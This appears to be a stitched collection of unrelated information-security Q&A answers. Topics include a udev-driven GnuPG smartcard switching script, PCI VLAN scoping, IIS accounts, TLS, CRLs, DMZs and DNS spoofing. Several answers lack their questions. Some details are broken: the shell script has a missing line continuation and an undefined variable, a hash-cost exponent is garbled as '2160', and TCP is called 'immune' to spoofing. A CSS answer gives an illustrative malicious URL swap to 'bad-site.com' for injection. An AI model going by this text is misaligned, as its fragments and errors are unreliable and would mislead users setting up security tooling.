How to use multiple smart cards with gnupg?

With gpg --with-keygrip -K you will get the keygrip identifiers for your keys. These ids correspond to the keystubs in the private-keys directory.

In case you have 3 subkeys (encryption, signing and authentication) you will have three files in GNUPGHOME/private-keys-v1.d (~/.gnupg/private-keys-v1.d on linux).

When using different smartcards with the same keys on it, the identifiers will be the same, but the binary contents of the file will differ.

Deleting is an option, but you might inadvertedly delete other private key stubs as well.

Another option is to make a backup and switch them out every time you switch cards (<id>.key.card1 and <id>.key.card2 will be copied to the current/active <id>.key file).

The best option to do this seamlessly is to use udev as suggested by @Jens Erat.
On addition of the smartcard, backup the current keystubs (<id>.key.<cardid>) and recreate (or copy back to <id>.key in case of an existing backup) the keystubs you want. Recreation is as easy as running gpg --card-status.

How to set this up with udev:

run udevadm monitor --environment'
now add the smartcard and watch the output so you can build a match
build the matching rule (so it matches once) and RUN a script on addition.
reference a script from the udev rule to make the magic happen (detach the script)

The next example is for the yubikey 5 in /etc/udev/rules.d/99-gpg-smartcard.rules:

    # /etc/udev/rules.d/99-gpg-smartcard.rules
    # helpful commands:
    # udevadm monitor --environment --udev --kernel
    # udevadm info -a -n <device-path>
    # udevadm test $(udevadm info -q path -n device_name) 2>&1
    # udevadm control --log-priority=debug
    # udevadm control --reload-rules && udevadm trigger
    SUBSYSTEM=="usb", ACTION=="add", \
    ATTRS{idProduct}=="0407", ATTRS{idVendor}=="1050" ,  \
    ATTRS{manufacturer}=="Yubico", ATTRS{product}=="YubiKey OTP+FIDO+CCID", \
    SYMLINK+="yubikey",  \
    RUN+="/usr/bin/at now -f /home/USER/bin/gpg-smartcard.txt"

        # Since nested quotes are not possible in RUN (outer double quotes
        # and inner single quotes) and cannot be escaped, we need to make sure
        # there are no nested quotes.
        # Furthermore, we need to detach our script from udevd for it to be able
        # to use the device (smartcard), since the RUN command
        # is blocking the daemon and the device is not yet ready, therefore we
        # are using the 'at' command to completely detach the job from udevd.
        # Since we need to use 'su' with the correct USER in the command
        # and multiple arguments (/bin/bash with the scriptname)
        # we cannot use the full command here when using 'echo' to
        # pipe it to 'at'.
        # So we are stuck reading the command from a textfile when using 'at'.
        # In the textfile is the following command:
        # su -l USER -c "/bin/bash /home/USER/bin/gpg-smartcard.sh"

in /home/USER/gpg-smartcard.txt

su -l USER -c "/bin/bash /home/USER/bin/gpg-smartcard.sh"

in /home/USER/bin/gpg-smartcard.sh:

keys=( \
  <ENCRYPTION>.key \
  <SIGNING>.key
  <AUTHENTICATION>.key \
  )
original=~/.gnupg/private-keys-v1.d
target=${original}/backup
mkdir -p ${target}
now=$(date +'%Y-%m-%d-%M:%S')
for i in "${keys[@]}"; do
  mv ${original}/$i ${target}/$i.bak.${now}
done;
sleep 1
# gpg --card-status will also work
# use 'gpg-connect' and then 'help' to find out the commands
gpg-connect-agent "scd serialno" "learn --force" /bye >> $log 2>&1

I have written a HOWTO for setting up your yubikey here

Sources:

using udev explained
using long running processes with udev
using at with udev
yubikey forum about gpg-connect-agent info
gpg documentation for scdaemon


Response to Q1

The network segments containing systems which handle cardholder data should be in their own VLANs - it appears you've done this. The systems which are connected to and security impacting are also in scope but don't need to be within the CDE as they don't handle cardholder data. Those systems can be individually in scope without bringing the population of that network segment into scope. It would be useful to have local firewalls enabled as an additional security measure.

Response to Q2

The call centre should be in its own VLAN so it's logically segmented from environments which don't handle cardholder data. The call centre is part of your CDE.

Considering the above you may have the following VLANs:

CDE DMZ
CDE internal
CDE call centre
Other stuff - may contain in-scope systems i.e. connected to, security
impacting
Other


IIS 7 World Wide Web Publishing Service service account

We have a security requirement for IIS 7 (Windows 2008R2) that reads as follows:

I am sorry you are saddled with this highly questionable policy. It's a lot of operational bother and risk of downtime for very little security win. Service passwords are subject to different risks and limitations to user passwords, it's not appropriate to apply user-password controls like rotation requirements to them.

  IUSR is not available for selection as a "log on as" service account for the World Wide Web Publishing Service

You shouldn't touch the WWWPS's WinNT-Service account at all, I don't know where this approach has come from. The service will need to remain root (LocalSystem) so it can impersonate the accounts that the application pools are running under.

Setting service users for the apps themselves should be done by setting the application pools, usually to a built-in user such as the default ApplicationPoolIdentity (but don't use LocalSystem!). Unless it needs to access network resources in which case you will need a domain service account, and then you will need to check the password that service account is using if it is subject to a horrible password rotation policy.


Try not to see security from the developer's point of view, but instead, follow a set of best practices. For example, you will be accepting input from a user, in the form of a file upload or text input, sanitize the content nonetheless, look at the answers to this question for tips on how to sanitize user defined css.

I would not assume that the css may only come from the user who will see it, this is most likely the current requirement, but I would not be surprised if in the future, a series of changes would allow this restriction to be bypassed.

Also, depending on the implementation (for example if you serve a url to a css file) someone may be tempted to try to just change all the urls for a malicious one (http://good-site.com/user1.css --> http://bad-site.com/?inject=user1.css), think XSS, injection, etc...

In short, my advice is to implement all security measures available given your project constraints.


According to the 802.11i-2004 specification (link to download 802.11i-2004 pdf):

  A pass-phrase is a sequence of between 8 and 63 ASCII-encoded characters. The limit of 63 comes from the desire to distinguish between a pass-phrase and a PSK displayed as 64 hexadecimal characters.


Can a website detect which method you are using to connect (LL2P, SSTP and PPTP)

They cannot infer it from the technical analysis of their communication with you. All they see is TCP datagrams in IP packets, their characteristics shouldn't be impacted too much by your mode of connection (the MTU of the connection might be, but that's a pretty weak correlation).


In theory, no.

The outer shell is a Faraday Cage, so the radiation from the microwave will not penetrate the shell to do anything to the plates.

But it will render most of the control board unusable. The radiation can damage the controller chips, and arcing can damage the board tracks and passive components. But swapping the control board could make the data accessible again.


Four simple-ish solutions I can think of are:

proxychains would work if you don't really need a VPN; or your other applications can talk SOCKS
stunnel needs a fair bit of setup
OpenVPN needs a lot of setup
ssh using -L or -D is trivial by comparison


The simple answer is that there isn't any reason to use a strong password in this case.  Security is entirely about balancing risks and costs.  The cost of a stronger password is that it is harder to remember and use.  For low security sites, where there is either little risk of being compromised or little risk to being compromised, then it is perfectly fine to follow less stringent security measures.

The main thing is to make sure you are accurately judging the risk of your exposure, but if the risk is minimal, then the security can be too.


Can potential NSA spyware be detected and/or removed?

I'm asumming these guys are smart enough to build something that spyware scanners can't detect. Or is my assumption wrong on that?

Pretty sure they will explicitly design the spyware so that the common scanners will not detect it at the time when the spyware is first released. But this is not only done by government agencies but by others which sell spyware - because obviously it is usually part of the expected product features that it is not easily detectable.

But once a spyware is known it is usually possible to write heuristics which can detect it so any protection against detection is only temporarily. That's why one usually limits a lot how many systems are compromised in the first place so that the chance of the spyware gets known stays low.

  Would simple factory reset of a windows laptop remove any malware, if they exist?

Probably for most it would help. But it would not help in all cases or at least not for long. For example it might be possible that the target gets reinfected quickly since the router or other device in the network or some used data storage is compromised too. And if the attacker had physical access to the system the compromise might even be much deeper than what a simple factory reset would resolve.


Crack a single http cookie and gain access to a random user's account!

Protecting against enumerating valid session cookies is easy: just make the search space too large for an attacker to have any hope of finding another valid value this century. For example, if the cookies are cryptographically secure [pseudo-]random 128-bit values, there could be a billion (~2^30) unique active sessions at once (that never expire) and you could have a botnet of a billion compromised IoT devices each sending a thousand requests a second (for a total of ~2^40 guesses/second), and it would still, on average, take you around 450 million years to find the first valid token. 128 bits isn't even that long, either; a mere 16 bytes of data.

This works even if the session tokens aren't just random blobs of data but contain some predictable information, so long as the unpredictable part has enough entropy. For example, a JSON Web Token (JWT) contains a chunk of plain-text data (base64-encoded, but that's trivial to decode and provides no security) and then a signature (either an asymmetric signature or a MAC). Let's assume it uses an HMAC with SHA-256 and a 256-bit key; the heat death of the universe would arrive long before you could have any hope to brute-force that key, even if you could set every computing device on the planet today to doing nothing but working on it.


Is long-term validity definitively corrupted upon TSA certificate revocation?

When a certificate is revoked, the CRL contains the revocation date which tells at which date the certificate became "invalid". Indirectly, it specifies that the certificate was fine up to that date. For instance, if a private key is compromised after a burglary, the security camera recordings will be used to determine at which hour the key was stolen, and that will be the revocation date specified in the CRL.

If a TSA certificate is thus revoked, the archive validity can still be verified as long as a time stamp from another TSA covers the time stamp from the revoked certificate and specifies a date which is anterior to the revocation date. E.g., consider a chain which works thus:

Time stamp S1 claims that the signature (and signer's certificate and so on) existed at date T1.
Time stamp S2 claims that the signature (and signer's certificate and so on) and the time stamp S1 and the TSA certificate for S1 and associated CRL and so on, all existed at date T2.
And so on.

If the TSA private key used to sign S1 is compromised, or the TSA hit bankruptcy, or any similar situation, happens at date T', then the archive is still safe as long as T' > T2: thanks to the time stamp S2, one can validate S1 as if the current date was T2, and at that date the TSA was fine and the time stamp already existed.

For extra resilience, you want to use two distinct TSA with interleaved overlapping time stamps:

Time stamps S1, S3, S5... are from TSA A.
Time stamps S2, S4, S6... are from TSA B.
You always apply time stamps in pairs. When the top-most time stamp is Sn and either of Sn-1 or Sn approaches expiration, you obtain two time stamps, from A and B, and thus increase the chain to length n+2.

With such a scheme, a discovered compromise of either A or B can still be recovered from, because in the chain of time stamps, you can "skip over" the rotten time stamp.

(Cryptographic details are relatively intricate; one important point is that a time stamp, as per RFC 3161, is a CMS SignedData with an explicit signed attribute which contains the hash value of the data that is time stamped; it follows that time-stamping an encoded time stamp is also an indirect time stamp for the original data. If that was not true, then you could run into cryptographic trouble about exclusive ownership, namely that a signature value is not necessarily as good as a hash. When you understand what I mean here, you will know enough to implement CAdES-A archive validation.)

The "grace period" is another mechanism for improved resilience. Its premise is that compromises are discovered after the fact, but usually not long after the fact. Applying a grace period of one week (for instance) means that you allow yourself to wait for one week, in case a past compromise is discovered. If after one week things still seem fine, then you begin to assume that though a compromise may have happened in the last five minutes (and you would not know of it yet), the situation was most probably clean one week ago. With time stamps obtained at the right moment, this can give a lot of extra resilience, at the expense of added complexity.


would preparing for CCNA add "significantly" to my knowledge as a penetration tester?

I wrote the CCNA back in 2000, it was really basic back then.  My cert long expired and I'm re-writing.  The exam that I aced in 2000 is now a serious PITA.  The old CCNA is closer to the newer CCENT.

The CCNA exam will drill you for speed, speed and more speed.  Worse, there's over 1200 pages of material to master for a 75 minute exam.  Preparing for it will waste weeks of your time and frustrate you.  Unless you've got a really good memory or really good luck, you're not going to be able to get through it without substantial experience.  I have multiple certifications and the only exam I ever failed was the CCNA.

Being able to quickly extract information from routers or quickly diagnose misconfiguration in a WAN protocol is not necessary for pen testing.  You can always ask a network guru or dig through the manuals, but the CCENT will at least familiarize you with routing protocols, some basic VLAN stuff and the Cisco command line.

Do not underestimate the CCNA.  42 questions, 75 minutes, many scenario based questions.  Trunking, routers-on sticks, WAN encapsulations, Cisco defaults and idiosyncracies like their stupid "basic access lists", setting up stupid NAT vs. misnamed PAT, on and on and on.

When you get your CCNA, it makes sense to continue on to your CCNP.  It's easier.

Just get the CCENT.  It will be fun and interesting.


Parameterized queries solve this problem as it separates the parsing of the query from the handling of user supplied data.


Need some recommendations on good IR hands-on training

One good place to start is Open Security Training. Despite the site design, they have some quality material there for you to work through.

As you noted, you'll want some hands-on experience as well. Finding challenges online can help with this. You can look at test images (some will be old but still useful!) or, if you're looking more into incident response than digital forensics, the Honeynet Challenges and Malware Traffic Analysis exercises.


As CodesInChaos notes, it will not be able to write outside of the Dropbox folder unless you execute it. Of course, if there were any directory traversal vulnerabilities in the client then this wouldn't hold true, but of the time of writing none have been discovered.

If you're concerned about running malicious files on a certain machine, then it would be better not to run the Dropbox client at all and simply use the web application to browse your Dropbox and shared folders. That way, Dropbox will not be able to write to your file system. It could be conceivable that an attacker who has the ability to execute files on a system, but not write them, could use Dropbox in order to get the files they need there. However, if this is the case then you're already partially compromised.

Using the web app as a browser will allow you to choose which files to write, although you still need to be careful you don't download and execute anything malicious. Using a virus scanner or end-point protection tools such as Cylance, Webroot or SentinelOne can help.

In case of others running malicious code that infects the shared folders, Dropbox includes a feature where 30 days' worth of changes are backed up, which you could use in order to restore all files to their pre-infected state. You may need to contact them though if there are a large number you wish to restore.


Storing Username and Password in Application memory (ram)

It is best practice to encrypt these details in memory, but you need to undertake some sort of threat modelling process and see if it justifies the overhead.

It would seem your primary risk is users reading memory using appropriate tools - this requires malicious intent and a fairly sophisticated user. Is this a likely threat scenario? What they can access if they do compromise the credentials?   Is it just data on the local machine?

Memory dumps are another potential issue, if an error occurs, or a malicious user forces a fault and memory is dumped to logs, the data may be retrievable from these logs.

Swap files and hibernation files may also contain this data as memory is swapped out or if the device hibernates while the credentials are in memory.

There are multiple tools available to you to protect against these cases, types such as SecureString in .Net framework, there are also data protection APIs provided by the MS operating systems.  Secure String as one user has already replied are immutable and encrypted and they are also stored in multiple locations in memory. I would use constructs such as this provided by the frameworks and the OS and avoid rolling any of your own code to secure the data in RAM.


How can a system grant constant access without using a constant key?

It can't be done. The logged in used needs to prove they are the person that authenticated manually. To do that you need some kind of token. Look at it this way - what if the client machine was cloned? How would you be able to tell apart the real and the fake?

The only alternative is on expiry forcing the user to re-authenticate manually.


CertGetCertificateChain doesn't recognise revoked certificate if the reason is "unspecified"

I have literally zero experience with certificate revocation lists, so I may be technically incorrect in some places. This answer is purely based on what I understand from reading the relevant parts of RFC5280.

So my question is: Is this behavior of CertGetCertificateChain correct?

Apparently, yes.
The main reason is simply that you are not supposed to set the reason in the CRL to unspecified. Section 5.3.1 of the RFC says:

however, the reason code CRL entry extension SHOULD be absent instead of using the unspecified (0) reasonCode value.

Concerning your confusion with two apparently contradictory paragraphs of section 6.3.2... these are actually referring to two separate variables used in the CRL processing algorithm:reasons_mask and cert_status.
The reasons_mask variable is meant to contain supported revocation reasons of the CRLs processed so far, and therefore is largely irrelevant to whether the algorithm considers a certificate as revoked or not. If I understood correctly, this variable is used to ensure that in case a CRL has the the onlySomeReasons flag set (which means the CRL only contains revocations for the reasons it specifies), the algorithm will check other CRLs from the certificate issuer to cover other revocation reasons.
The cert_status variable is the one relevant to your question. This variable is intialized to UNREVOKED. When a certificate is checked against a CRL, if an entry is found that matches the certificate issuer and serial number, then cert_status is set using the following rules (from the RFC):

(1) If the reason code CRL entry extension is present, set the cert_status variable to the value of the reason code CRL extension.
(2) If the reason code CRL entry extension is not present, set the cert_status variable to the value unspecified.

So if the reason code CRL entry extension is present, then cert_status is supposed to to be set to the reason which corresponds to the reason code given. However, the unspecified reason code is not valid, so, in your case, Microsoft's implementation probably just leaves cert_status to whatever it already is (in this case UNREVOKED). This results in CertGetCertificateChain considering the certificate valid.


Authenticity of PDF document printed from Word

I'd like to to rephrase your question as this:

"Is there a way to make sure, in a cryptographic way, that two different views of some data are, in effect, related the same information ?"

I would see two approaches to that problem. The first one starts with the data, the second one, with the final view.

Data-centric

In order to implement this, you need to start with a common set of data and describe some type of two way rule that will generate your final views. That can be an XML transform, some type of form description or anything you fancy as long as all important information from the source data can be safely identified in the final view.

For instance, if your data represent invoices, the important element might be amount, currency, client account number, tax code, invoice number, invoice date, etc. You could then transform this data into a document (word, PDF, XML, etc) and you be able to extract that data back from the output document.

In this case, you should generate a separate view of your document that contains all this important business information (typically, an XML document) and design transforms for all your other document types that will output the same format (so you could extract the important business data from each document type).

You then digitally sign that (either with the identity of the emitter or with the identity of the application generating the data, depending on how your trust system is designed). That digital signature could happen on the server when the data is extracted/transformed which means that you can use an application key.

When validation a document, an application can then use the transforms to get a synthetic view of the business data and use the digital signature to verify the authenticity of the document.

If the design is done correctly, you could then safely validate documents even if they have been altered in non-important ways.

The downside of that approach is that it isn't always easy to transform all types of document into the synthetic view. Another downside is that this doesn't work for data that doesn't conform to a normal model. For instance, if you want to handle purely generic data (letters, pictures, etc.) then this approach would probably fail.

Document-centric

This approach is good for document that can't easily be transformed into data.

You need to start with the final document at the location when you can authenticate them. in your case, that seems to be the end user PC. You then generate a small "description" document that contains a hash of each document (typically as an XML snippet) and any important data that should be authenticated and that isn't already covered by your digital signature system.

You then sign that description file and upload it on the server alongside the two other documents. Your server can then verify the signature on the description file and compare the hash of each document with what is stored in order to authenticate them. Since that signature can only happen when the two document exists, it should be applied where they are generated. And since that happen on the client system, it means you should use a key that belongs to the user, not the application.

The downside of that approach is that you depend strongly on what happen on the location when you apply the signature. The key factor here is that you have, in effect, two documents that you want to pair and no easy way to make sure they really belong to the same pair: you're sending one document from your server and are hoping that the client will be secure and send you back a valid pair along with the digital signature. It means that a client could decide to cheat (by signing two documents that aren't a valid pair) or that some form of malware could display one document pair to the user and then sign something else.

One way to (somewhat) mitigate that downside is to make sure you have good traceability: if at a later stage, someone could look at both document and confirm that they are, in fact, two view of the same data and make sure this reviewed is done, you then place a strong incentive on users not to attempt to cheat the system (because the digital signature engage their responsibility). That leaves you with some form of malware on the client system. whether or not that is an acceptable risk is up to you.


Why does LastPass give me one password without needing my MFA key?

As far as I understand only your master password is used to derive the key to protect your secret (https://lastpass.com/support.php?cmd=showfaq&id=6926)

2nd factor is used to avoid an attacker to get access to the encrypted data from the lastpass servers only (download it for local decryption). Not for encryption/decryption. I cant find a reference stating this, but also not any reference saying that they do use it for encryption. And it seems true since they can just disable it for you (https://helpdesk.lastpass.com/multifactor-authentication-options/)

Probably it asks it to update the local encrypted database cache for offline usage (https://helpdesk.lastpass.com/your-lastpass-vault/), but if you cancel, it still can use the old data from a previous fetch. I´m speculating a bit on this part, but makes sense. They could refuse the usage of the data after the 2nd factor fail locally, but that also would break offline usage and would not protect the data from an attacker that already has the master password and access to the encrypted data.


What is the real function and use of a DMZ on a network?

Reasons why you want a DMZ and the benefits it offers.
The general idea is that you put your public faced servers in the "DMZ network" so that you can separate them from your private, trusted network.
The use case is that because your server has a public face, it can be remotely rooted. If that happens, and a malicious party gains access to your server, he should be isolated in the DMZ network and not have direct access to the private hosts (or to a database server for example that would be inside the private network and not on the DMZ).

How to do it:
There are several ways, but the 'book example' is by utilizing two firewalls (of course you can achieve the same result with one firewall and smart configuration, although hardware isolation is nicer). Your main firewall is between internet and the server and the second firewall between the server and the private network. On this second firewall, all access from the server to the private network ideally would be forbiden (of course it would be a statefull firewall so if you initiate a connection from the private network to the server it would work).

So, this is a fairly high level overview of DMZ. If you want more technical details please edit your question accordingly.


IPsec: Commonly used in VPNs, it supports several means of authentication, but requires some coordination between the endpoints to choose keys, root CA's or other authentication methods.

It can run in two modes: tunnel mode, where the entire packet is encrypted and encapsulated in an IPsec tunnel packet header, or transport mode, with only the data section of the packet encrypted. VPNs use tunnel mode.

SSL: Used for client-server communications because it requires no coordination between parties.

No need to use both on the same connection.

See this question for more details: Are there any reasons for using SSL over IPSec?


Why does Firefox not trust this US government SSL certificate?

The wildcard replaces only one part of the hostname, e.g. *.delaware.gov covers www.delaware.gov or corp.delaware.gov but not www.corp.delavware.gov. From RFC2818, section 3.1:

  ...Names may contain the wildcard character * which is considered to match any single domain name component or component fragment. E.g., *.a.com matches foo.a.com but not bar.foo.a.com. f*.com matches foo.com but not bar.com.


What are the risks associate with accessing Same web application with two different URLs?

There's a couple different parts here which seem somewhat jumbled.  First, the remedial action listed here seems to correspond to a different vulnerability than the finding.  It sounds like the finding is the one you're confused about though, so I'll try to answer that.
Specifically, this relates to exposing a web application both on a vhost and directly on an IP.  Here are some of the possible issues as to why this is considered bad security practice:

Probably most importantly, users' browsers are going to consider these two separate origins.  That means that if they visit one after the other, then password managers (both built-in and external) will not recognize it as the same site, and refuse to auto-fill the password.  Coincidentally, that's also a great way to recognize phishing sites - you go to faceb00k.com and your browser doesn't auto-fill the password - red flag!  So now your users are confused and have to manually dig out and copy/paste their passwords.  This is probably the main issue the reviewers have a problem with.
Similar to the above, this will cause issues with CORS.  Bonus points if your developers are hardcoding domains in API calls - now you have a site plus a subtly broken site.
If the site is on the public internet, listening directly on the IP means that it can be discovered by anybody with an IPv4 scanner.  If you listen only on the vhost, now an attacker has to find out your domain before they can start attacking.
The IP address version likely does not have a valid certificate (it's not impossible to get certs for an IP, but extremely rare).  Now your users accessing the IP version have to accept a security warning, and can't detect MITM attacks - you just defeated one of the two main advantages of TLS.
Lastly, sites that are listening directly on an IP address are often configured in a hurry by administrators that leave the web server bound to the default IP of 0.0.0.0, which means all IPs available to the server.  If server has IPs in multiple network regions (internet, DMZ, internal LAN, secure segment, etc) that means that this web application may be exposed to hosts that aren't supposed to be accessing it (e.g., if the server is in the DMZ but the application is supposed to be only internally accessible).

So, recommendation:  configure your web server to only expose the site on a vhost.


Are the Microsoft Windows images found on the internet safe?

For a malicious attacker who tries to alter an ISO file while keeping its hash value identical to the hash value of the "genuine" file, the problem is known as a second preimage attack. No such attack is known for SHA-1 right now; if somebody wanted to compute such a second preimage, he would have to pay a cost of about 2160 hash function computations, which is way beyond that which is technologically feasible (by some billions of billions of...). Therefore, yeah, as long as the hash matches, the ISO file is "safe" (where "safe" means "identical to what Microsoft wants it to be"), regardless of how you obtained it.

Actually this is true even if MD5 is used as hash function. Second preimages are a lot harder to compute than collisions (one can say that second preimages are like collisions where one half of it is fixed).

All of this assumes, of course, that you can find the genuine hash values as computed by Microsoft themselves (i.e. you found them on a Microsoft Web page and this specific browsing was done over SSL). As @Graham hints at, normally, when you can get the hash value from Microsoft, you can also download the ISO from Microsoft, possibly from the very same page, which makes the point a bit moot.


Is it a security issue to give the default service account in a namespace an imagePullSecret in Kubernetes?

The main argument against using the default service account as against a specific one, is that every pod in that namespace will get access to the secret by default, as the default service account is applied to each pod.

Whether that's really an issue depends on what other workloads there are in the namespace.

I'd say that from a best practice perspective, you'd be better off creating a specific service account for this deployment and providing the imagePullSecret to that account, that way you are less at risk of inadvertant access.


Which of the TLS ciphersuites are more faste and secure in Handshaking?

DHE key exchange is very slow compared to ECDHE, so you should prefer the ECDHE ciphers.
ECDSA is faster than RSA for the same level of security, but of course you need a ECDSA certificate and not a RSA certificate in this case.
AES-GCM is faster than ChaCha20-Poly1305 on systems with hardware support for AES but slower on systems without hardware support. You usually have hardware support on desktop system but it is  missing on most mobile phones or tablets.
CAMELLIA seems to be in theory similar to AES regarding security and performance but usually lacks hardware support and is thus slower. See Why does nobody use (or break) the Camellia Cipher? for more information.


What you are proposing is very dangerous and against security best practices. One problem with it is that users tend to reuse the same passwords across different services. This means that one leaked password can lead to many of their accounts being left vulnerable. (Eg: recent Mark Zuckerberg hack). This combines with the fact that database contents sometimes leak due to flaws such as SQL injection.

To help protect these password reusers, websites must try very hard to protect the values of passwords as a breach makes many sites vulnerable.

This means only storing passwords in a secure, non-reversible format. You can read about the science at How to securely hash passwords?, but you're probably good if you use bcrypt with its default parameters.

If you were integrating with a 3rd-party site that only supported username/password authentication and that site was unwilling to provide a secure authentication mechanism, perhaps it would make sense to store passwords for the remote site (they should be securely encrypted when not in use). But you own the remote site, so just do the right thing and support a better login model than passwords.

Some possible strategies are:

OAuth (perhaps via OpenID), SAML 2 or other existing system that  support single sign-on.
Using SSL mutual authentication, site2 could generate client certificates upon registration and pass them to site1. Then a database breach of site1 only exposes certificates and not user's passwords (remember that they use the same passwords for other sites).
Impersonation (perhaps someone can add a better reference in the comments?) works if there's a strong trust model between site1 and site2. Basically, if the sites have the same authors and deployers, you could allow site1 to tell site2 to simply pretend that it's being called by JoeUser without any credentials. Site1 would need to securely authenticate to site2 to make sure that malicious users can't use this feature.
Have the user type their site2 password into site1 whenever site1 needs it.

I'm sure there are more solutions, but storing passwords in a reversible format (eg: encrypted) is not a good practice. And storing passwords as clear-text is unforgivable.


With Ubuntu on Windows 10, could exploits and malware that work on Ubuntu (or related distros) work on Windows?

It depends. From the information released so far it looks like that the implementation is done using some kind of OS personality, similar to what Linux can do with Windows binaries (wine) or SCO UNIX binaries. This would mean that logic attacks or buffer overflows at the application level (i.e. shellshock, heartbleed, getaddrinfo libc bug ...) could work but might need adjustments due to different memory layouts. Attacks using kernel facilities would not work since it is not using the linux kernel but the windows kernel as the lower layer.


Is it safe to use VPNbook or similar sites?

VPN is for "privacy", they are never secure, and never will be.

You cannot control what the VPN provider does with the data that passes through it.
This week I read about a case where a VPN claiming to never log IP addresses or private information, was sniffing one of it's own servers to stalk some hacker.

I have also read about an experimental "infected" VPN server, that all it did was alter Javascript files before they were returned to the user, adding some dangerous code in that was later executed by the user's browser, and cached inside his computer. They were able to fetch ALL the user's passwords, history, and whereabouts. If I'm not mistaken, it was shown at a Hacker Conference.

So basically, anything you can see, the VPN you are using can see it too, and you should never fully trust anything with your private data.


how is my ISP able to inject into this webpage?

Your screenshot shows an HTTP ("Not Secure") page, not HTTPS. Your ISP essentially pulled an "SSL Stripping" attack on you; they blocked you from getting the redirect, fetched the HTTPS version of the site themselves, slapped their own content on top of the retrieved HTML, and then returned the modified HTML to you in response to your original HTTP request. They also stored (either on their side or in a browser cookie on yours) the fact that you'd seen the banner, so future requests to that site got redirected to HTTPS without any content being injected.
Remember, your ISP controls everything going between your computer and the Internet. If the connection is already encrypted (HTTPS), there's less they can do (they can cut the connection, they can probably tell what site you're requesting, they can tell how long your request and response are, they can try to spoof the server and hope you click through the certificate error message), but on an unencrypted connection they can do whatever they want. Modify the response, suppress parts of the response, add their own content, redirect you, prevent a redirect, outright impersonate the server...
Also, DNS requests and responses are (usually) sent unsecured. The ISP can do whatever they like there, too. It doesn't matter what server you send your DNS request to; if it's on the Internet, your ISP can see and tamper with it.
Bear in mind, all of the above also applies to a local network attacker (somebody on the same LAN as you, possibly at a business, home, or public WiFi) if they can get a man-in-the-middle position (and it's usually easy).


Find out Browser's AES generated key on SSL/TLS

This depends on the Key exchange algorithm being used.

When RSA key exchange is used, the key is randomly generated by the client and then encrypted using the server's certificate. When using RSA key exchange, the server has very little say on the session key.

Modern TLS configuration usually recommends Diffie Hellman, which is more appropriately called key agreement protocol because the Session key is calculated using random inputs from both the client and server.

Both Firefox and Chrome have a feature to dump the Session key to a file, by setting the SSLKEYLOGFILE environment variable.


What is delegation, identity delegation, and delegated authorization, and what are the differences among them?

I am quoting Mastering OAuth 2.0 from Charles Bihis (2015).

Delegated Authority
[...] It refers to the ability for a service or application to gain
access to a user's resources on their behalf. [...]
Federated Identity
[...] It refers to the concept that allows one service provider to
allow authentication of a user using their identity with another
service provider. [...]

And then another quote from the book.

Both of the scenarios mentioned [...] are actually
really the same scenario. In both, the user is accessing a protected
resource on behalf of another party. [...]

When talking about Delegated Authority the protected resource can be e.g. a user's Facebook photo, while when talking about Federated Identity the protected resource is the user's account information.
Here is another (slightly modified) definition for delegated authority provided by IETF.

The concept of a delegated authority allows the owner of a set of
resources to delegate access to some of those resources to a
designated client application, without enabling the client application
to impersonate the user.


Why a pdf is opened when I click a url when the url specifies its a zip ?Is this link trustworthy?

There are three seperate things at play here:

The <a> text visible to the user (which can be anything and doesn't need to be a valid link)
The URL itself, inside the href attribute of the <a> tag
The actual content being served at that URL

Browsers do not use file extensions to determine the type of the content being served. Instead, they inspect the Content-Type header in the HTTP response that the server sends.

It is completely possible (albeit surprising) for an HTTP server to be configured in such a way that a .zip will be served with a PDF type (application/pdf), in which case the browser will try to open it as a PDF file (whether it succeeds in doing so depends on whether the contents of the file form an actual, valid PDF). Likewise, it is completely possible for a server to serve a .pdf file as a ZIP file (application/zip), in which case the browser will try to open it as a ZIP file. The extension of the file is irrelevant; it's the Content-Type that the server reports that counts.


It depends on what underlying protocol is in use.

As a general rule of thumb, network protocols that establish connections or use handshakes are immune to source address spoofing.  This is because if the source address is spoofed then a connection will never be successfully made (since the spoofed destination won't know how to respond), no connection will be established, and nothing more than an initial handshake packet will be sent.  For some examples:

IP does not use handshakes and is vulnerable to source spoofing
TCP (aka TCP/IP, which is built on top of IP) does use handshakes and is immune to source address spoofing
UDP is a connection-less protocol and is vulnerable to source address spoofing.

"Standard" DNS can use TCP/IP (h/t Patrick) or UDP.  Typically it defaults to UDP, which is connection-less and therefore vulnerable to source-address spoofing.  This means that if you send a spoofed UDP packet to a DNS server with a forged address, the DNS server should send the response to the spoofed source address, not you.

However, there are newer DNS "versions" rolling out that use different underlying protocols.  For instance DoH (DNS over HTTPS) uses HTTPS itself, which is built on top of TCP/IP.  Therefore you would not be able to spoof a source address to a DNS server using DoH, for the same reason why you can't spoof a source address for an HTTP server.  Similarly, whether or not the other new variants of DNS are vulnerable to such attacks depends on the underlying protocol used.


Bluetooth Low Energy (BLE) and Man-in-the-Middle attacks?

From the Bluetooth Sig Proprietary Information Security :

  Signed Data Bluetooth with its low energy features supports the
  ability to send authenticated data over an unencrypted transport
  between two devices with a trusted relationship. This means that in
  some circumstances where the communication channel is not encrypted,
  the device could still have a method to maintain and ensure the data
  authentication. This is accomplished by signing the data with a CSRK.
  The sending devices place a signature after the Data Protocal Data
  Unit (PDU). The receiving device verifies the signature and, if the
  signature is verified, the Data PDU is assumed to come from the
  trusted source. The signature is composed of a Message Authentication
  Code generated by the signing algorithm and a counter. The counter is
  used to protect against a replay attack and is incremented on each
  signed Data PDU sent.

During the pairing mechanism, both device generates a random sequence number. Sequence number (counter) is incremented on each pach packet. They are usefull to re-order packets if they are not received in the right one, but they are also usefull against replay attacks.

For example, (d1) and (d2) are pairing. (d1) has choosen a random sequence number, 123456  and send "hi" to (d2). (dx) intercept it.
(dx) can try 2 things :

Replay the packet with sequence number 123456, in this case, it will be rejected by (d2) because sequence number should be superior than the last one (depending of the protocol, it must be previous_sequence_number+1 or previous_sequence_number+previous_message_length) .
Replay the packet with sequence number 123457, in this case, the signature will be invalid and the message will be rejected.


Is it possible to protect a DER private key with a password?

but is it a restriction of OpenSSL or is it basicallly nonsense to
  password-protect a DER key ?

It makes a sense to protect a key with a passphrase  but this requirement does not arise when using OpenSSL format with DER encoding, as encryption is not then supported.


A reverse proxy (and by extension most load balancer which are essentially a specialised reverse proxy) would generally reconstruct the packet/request (depending on what layer it functions at) rather than just modifying the packet and forwarding it on.

That process can provide some protection against malformed or forged packets/requests. Typically this is described as "breaking the circuit" because packets are never directly passed between the networks.


Does repeating one word to form a password result in a similar pattern in its encrypted format?

Against a bruteforce attack the latter would be more secure, but the overall length of your password would already be hard to guess.

If someone however would know that you always repeat a regular word with a fixed amount of times, then a dictionary attack might be easier performed with the first example. (providing the  person doesn't know about your signs)

